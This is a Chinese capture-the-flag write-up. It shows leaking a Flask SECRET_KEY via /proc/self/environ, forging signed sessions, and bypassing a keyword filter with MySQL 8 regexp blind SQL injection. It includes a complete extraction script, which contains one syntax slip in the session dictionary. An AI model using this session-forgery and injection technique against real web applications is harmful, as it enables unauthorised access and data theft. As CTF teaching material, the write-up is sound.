获取set-cookie中的session,使用这个新的session在burpsuite中去重新访问/home:


如上图,此时便成功读取到了  /proc/self/environ 的内容:


得到SECRET_KEY=ookwjdiwoahwphjdpawhjpo649491a6wd949awdawdada,还得到一个hint:HINT_IS_HERE=Mysql 8, and I executed CREATE DATABASE ctf DEFAULT COLLATE utf8_general_ci。

然后我们便可以尝试伪造session并进行注入了。经尝试,user 处过滤了以下关键字:

union|\"|\\|#|order| |and|&|update|value|,|insert|chr|mid|ascii|substr|left|exec|if|sleep|join|truncate|outfile|lpad|rpad|-|mysql|limit

不过我们还是可以尝试 regexp 注入。

我们知道 regexp 注入的常用方法类似于以下payload:

user=1'||(select(flag)from(flag))/**/regexp/**/binary/**/0x7c#

// 加上binary关键字用于区分大小写

进入sql查询语句后就变为了:

select profiles from users where username='1'||(select(flag)from(flag))/**/regexp/**/binary/**/0x7c#';

我们可以控制最后面的 0x7c 数据来匹配注入得到数据库里的数据。在网上关于mysql的regexp注入的方法都是像上述这样的,但是这里我们要注意:

/proc/self/environ 中的hint 说了 Mysql 8, and I executed CREATE DATABASE ctf DEFAULT COLLATE utf8_general_ci,当前数据库版本为 mysql 8,而在该版本中,MySQL不允许 REGEXP BINARY在 "nonbinary"类型的数据上使用,不管他是CHAR, VARCHAR还是 TEXT。

在对utf8_general_ci类型的数据直接调用 regexp 时会报错的:

要想正确使用regexp与binary,我们需要结合CAST 关键字来将查询的结果转换为binary类型(还可以通过like或者条件运算符进行绕过):
select profiles from users where username='1'||CAST((select(username)from(users))/**/as/**/BINARY)/**/regexp/**/binary/**/0x5e61;

这样就可以成功执行了。

最终我们编写如下盲注脚本:

import requests
from flask import Flask
from flask.sessions import SecureCookieSessionInterface
import base64
import pickle
import string


def str2hex(string):  # 转换16进制,16进制在数据库执行查询时又默认转换成字符串
  result = ''
  for i in string:
    result += hex(ord(i))
  result = result.replace('0x','')
  return '0x'+result


def MakeSession(payload):    # 伪造 session
   app = Flask(__name__)
   app.config["SECRET_KEY"] = "ookwjdiwoahwphjdpawhjpo649491a6wd949awdawdada"
   session_serializer = SecureCookieSessionInterface().get_signing_serializer(app)

   session_str ={"islogin"True,"user": payload}
   fake_session = session_serializer.dumps(session_str)
   #print(fake_session)
   return fake_session


def exp(url, session):    # 攻击
   cookies = {
      "session": session
   }

   res = requests.get(url=url, cookies=cookies)
   return res.text

if __name__ == "__main__":
   flag = ''
   url = "http://host:ip/home"
   #payload = "1'||(select(group_concat(table_name))from(information_schema.tables)where(table_schema)in(database()))regexp({0})||'"
   #payload = "1'||(select(group_concat(column_name))from(information_schema.columns)where(table_name)in('flagggishere'))regexp({0})||'"
   #payload = "1'||(CAST((select(group_concat(username))from(users))as/**/BINARY)regexp(binary({0})))||'"
   payload = "1'||(CAST((select(f1aggggggg)from(flagggishere))as/**/BINARY)regexp(binary({0})))||'"
   for i in range(100):
      for j in string.ascii_letters+string.digits+"_,{}-":

         if j == "{":    # 这里要对 payload 里的 { 和 } 进行转义一下
            j = "\{"
         if j == "}":
            j = "\}"

         user = str2hex('^' + flag + j)
         payloads = payload.format(user)
         session = MakeSession(payloads)
         #print(exp(url, session))
         if "Administrator" in exp(url, session):
            flag += j
            print("[+] " + flag)
            break

最终在 flagggishere 表的f1aggggggg字段中得到了flag:


去掉反斜杠后即为flag。

关注公众号:拾黑(shiheibook)了解更多

[广告]赞助链接:

四季很好,只要有你,文娱排行榜:https://www.yaopaiming.com/
让资讯触达的更精准有趣:https://www.0xu.cn/

公众号 关注网络尖刀微信公众号
随时掌握互联网精彩
赞助链接